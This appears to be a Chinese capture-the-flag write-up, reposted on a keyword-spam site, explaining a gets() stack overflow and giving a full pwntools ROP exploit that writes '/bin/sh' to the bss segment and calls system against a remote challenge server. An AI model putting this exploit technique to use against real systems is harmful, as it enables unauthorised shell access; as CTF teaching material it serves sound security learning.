当前位置: 首页 > wzjs >正文

wordpress java关键词优化的软件

wordpress java,关键词优化的软件,可以做防盗水印的网站,ps软件下载中文版免费下载ida 反编译看 main 函数 gets 存在栈溢出 偏移 488 56 自带后门函数 但是没有 /bin/sh 存在可写段,我们可以利用 gets 写入 /bin/sh payload: 先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr 然后再存…

ida 反编译看 main 函数

gets 存在栈溢出

偏移 48+8 = 56

自带后门函数

但是没有 /bin/sh

存在可写段,我们可以利用 gets 写入 /bin/sh

payload:

先将可写地址存到 rdi,然后再次调用 gets 函数来接受输入 /bin/sh 读取到 bss_addr

然后再存入被改写内容的地址,作为参数,调用 system 函数即可  

payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)

编写 exp:

我们在调用 gets 函数之后并不需要返回到原来的函数中

在调用 gets 函数和 system 函数之间并不需要进行额外的栈调整

因此用不到 ret

# @author:My6n
# @time:20250523
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('node6.anna.nssctf.cn',29271)
elf = ELF('./pwn')
offset = 56
pop_rdi_addr = 0x401273
bss_addr = 0x404000
system_addr = elf.symbols['system']
gets_addr = elf.symbols['gets']
payload = cyclic(offset) + p64(pop_rdi_addr) + p64(bss_addr)  + p64(gets_addr) 
payload += p64(pop_rdi_addr) + p64(bss_addr) + p64(system_addr)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

可以打通 

 

 

http://www.dtcms.com/wzjs/73718.html

相关文章:

  • 企业网站每个月流量费百度热线电话
  • 百度用户服务中心入口韶山seo快速排名
  • 建设网站去工信部备案需要什么资料关键字搜索
  • 企业网站搭建价格免费的黄冈网站有哪些
  • 做一名优秀网站设计师计划考研培训
  • 深圳宝安医院的网站建设优化网站视频
  • 外贸网站制作需求域名检测查询
  • 如何建设个人的网站知名的建站公司
  • 中国建设工程协会网站前端seo怎么优化
  • 免费网站生成湘潭关键词优化服务
  • 做货代的可以在哪些网站打广告哪个平台可以随便发广告
  • 无锡网站建设要多少钱网店如何推广自己的产品
  • 网站关键词百度自然排名优化国外搜索引擎排名
  • 南阳专业做网站公司uc浏览器网页版入口
  • 网页制作基础任务教程慕课版答案泉州seo报价
  • 如何在国外网站做翻译兼职北京建站工作室
  • 设计素材网站蜂环球网广东疫情最新消息
  • 化妆品购物网站排名游戏推广员拉人犯法吗
  • 扁平化购物网站模板东莞推广平台有哪些
  • 要想提高网站排名应该如何做网站收录一般多久
  • 西安高端网站建设首选百度竞价是什么意思?
  • 找人搭建网站多少钱网站seo去哪个网站找好
  • 获取网站域名宁波网络推广产品服务
  • 湖北省建设工程造价管理协会网站互联网行业都有哪些工作
  • 网上买吃的网站做代理营销策略ppt
  • 网站里的个人中心下拉列表怎么做搜索引擎优化的含义和目标
  • 电子商务网站开发基本流程图海南百度推广中心
  • 网站阵地建设百度指数分析
  • 怎样用vps做网站怎么搜索关键词
  • 北京网站优化步网络营销环境分析